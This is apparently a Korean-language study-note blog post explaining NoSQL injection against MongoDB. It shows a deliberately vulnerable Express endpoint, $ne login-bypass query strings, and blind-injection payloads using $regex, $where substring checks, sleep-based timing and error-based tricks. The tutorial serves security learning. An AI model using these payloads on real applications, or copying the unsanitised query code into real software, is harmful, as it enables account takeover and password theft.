[2025-07-12] NoSQL Injection
🦥 본문
정의
NoSQL 데이터베이스에 대해 이용자의 입력값이 쿼리 객체에 그대로 포함되면서 쿼리 구조를 조작하는 공격
NoSQL 연산자
Name | Description |
---|---|
$eq |
지정된 값과 같은 값을 찾습니다. (equal) |
$in |
배열 안의 값들과 일치하는 값을 찾습니다. (in) |
$ne |
지정된 값과 같지 않은 값을 찾습니다. (not equal) |
$nin |
배열 안의 값들과 일치하지 않는 값을 찾습니다. (not in) |
$and |
논리적 AND, 각각의 쿼리를 모두 만족하는 문서가 반환됩니다. |
$not |
쿼리 식의 효과를 반전시킵니다. 쿼리 식과 일치하지 않는 문서를 반환합니다. |
$nor |
논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환됩니다. |
$or |
논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환됩니다. |
$exists |
지정된 필드가 있는 문서를 찾습니다. |
$type |
지정된 필드가 지정된 유형인 문서를 선택합니다. |
$expr |
쿼리 언어 내에서 집계 식을 사용할 수 있습니다. |
$regex |
지정된 정규식과 일치하는 문서를 선택합니다. |
$text |
지정된 텍스트를 검색합니다. |
$where |
JavaScript 표현식을 만족하는 문서와 일치합니다. |
예시
아래의 코드는 입력 받은 uid와 upw에 해당하는 데이터를 찾고 출력하는 코드.
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
연산자를 사용하여 계정을 받아올 수 있다
query?uid[$ne]=a&upw[$ne]=a //ne : not equal. a가 아닌 계정
=> [{"_id":"5ebb81732b75","uid":"admin","upw":"pw"}]
또는
query?uid={"$ne": null }&upw={"$ne": null } // null이 아닌 계정
Blind NoSQL Injection
정의
공격자가 응답의 변화를 통해 간접적으로 NoSQL 결과를 추측하는 방식의 공격
연산자 종류 및 공격 방법
- $regex : 정규식을 사용하여 일치하는 데이터 조회
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
- $where : JS 표현식을 만족하는 데이터 조회. 필드 값에는 사용할 수 없음
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
- substring : 한 글자씩 비교하여 데이터 탐색
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
- Sleep
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
- Error based Injection : 아래는 참일 경우에 이상한 코드 asdf를 집어 넣어 에러를 발생시킨다.
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
Leave a comment